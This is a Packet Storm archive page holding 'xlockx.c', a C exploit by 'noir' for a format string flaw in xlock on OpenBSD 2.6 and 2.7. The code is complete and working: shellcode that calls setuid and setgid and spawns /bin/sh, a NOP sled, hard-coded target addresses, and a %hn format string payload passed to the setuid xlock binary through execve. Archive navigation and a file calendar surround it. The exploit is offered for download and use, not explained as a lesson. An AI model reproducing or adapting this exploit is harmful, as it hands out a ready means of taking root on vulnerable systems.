exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

xlockx.c

xlockx.c
Posted Oct 6, 2000
Authored by noir

OpenBSD 2.6 and 2.7 xlock local root format string exploit.

tags | exploit, local, root
systems | openbsd
SHA-256 | d9c51047e5c8a7f38729c09e87bad09d9750d4d980cea6a7b2e76cf318636dba

xlockx.c

Change Mirror Download
/*
OpenBSD 2.6/2.7 xlock exploit by noir
noir@gsu.linux.org.tr

tested only on OpenBSD/i386 2.6

thanks:
cengiz_turkmen@hotmail.com for support!

greets: caddis <caddis@dissension.net> orginal chpass exploit
bind, CronoS, dustdvl, ppl from defcon7, gsu-linux staff
TESO, ADM, Lam3rz, SSG
*/


#include <stdio.h>



char bsd_shellcode[] =
"\x31\xc0\x50\x50\xb0\x17\xcd\x80"// setuid(0)
"\x31\xc0\x50\x50\xb0\xb5\xcd\x80"//setgid(0)
"\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
"\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
"\x50\x51\x56\x50\xb0\x3b\xcd\x80"
"\xe8\xe5\xff\xff\xff/bin/sh";

struct platform {
char *name;
unsigned short count;
unsigned long dest_addr;
unsigned long shell_addr;
char *shellcode;
};

struct platform targets[3] =
{
{ "OpenBSD 2.6 i386 ", 246, 0xdfbfd4a0, 0xdfbfdde0, bsd_shellcode },
{ "OpenBSD 2.7 i386 ", 246, 0xaabbccdd, 0xaabbccdd, bsd_shellcode },
{ NULL, 0, 0, 0, NULL }
};

char jmpcode[129];
char fmt_string[2000];

char *args[] = { "xlock", "-display", fmt_string, NULL };
char *envs[] = { jmpcode, NULL };


int main(int argc, char *argv[])
{
char *p;
int x, len = 0;
struct platform *target;
unsigned short low, high;
unsigned long shell_addr[2], dest_addr[2];


target = &targets[0];

memset(jmpcode, 0x90, sizeof(jmpcode));
strcpy(jmpcode + sizeof(jmpcode) - strlen(target->shellcode), target->shellcode);

shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;
shell_addr[1] = target->shell_addr & 0xffff;

memset(fmt_string, 0x00, sizeof(fmt_string));

for (x = 17; x < target->count; x++) {
strcat(fmt_string, "%8x");
len += 8;
}

if (shell_addr[1] > shell_addr[0]) {
dest_addr[0] = target->dest_addr+2;
dest_addr[1] = target->dest_addr;
low = shell_addr[0] - len;
high = shell_addr[1] - low - len;
} else {
dest_addr[0] = target->dest_addr;
dest_addr[1] = target->dest_addr+2;
low = shell_addr[1] - len;
high = shell_addr[0] - low - len;
}

*(long *)&fmt_string[0] = 0x41;
*(long *)&fmt_string[1] = 0x11111111;
*(long *)&fmt_string[5] = dest_addr[0];
*(long *)&fmt_string[9] = 0x11111111;
*(long *)&fmt_string[13] = dest_addr[1];


p = fmt_string + strlen(fmt_string);
sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);

execve("/usr/X11R6/bin/xlock", args, envs);
perror("execve");
}



Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close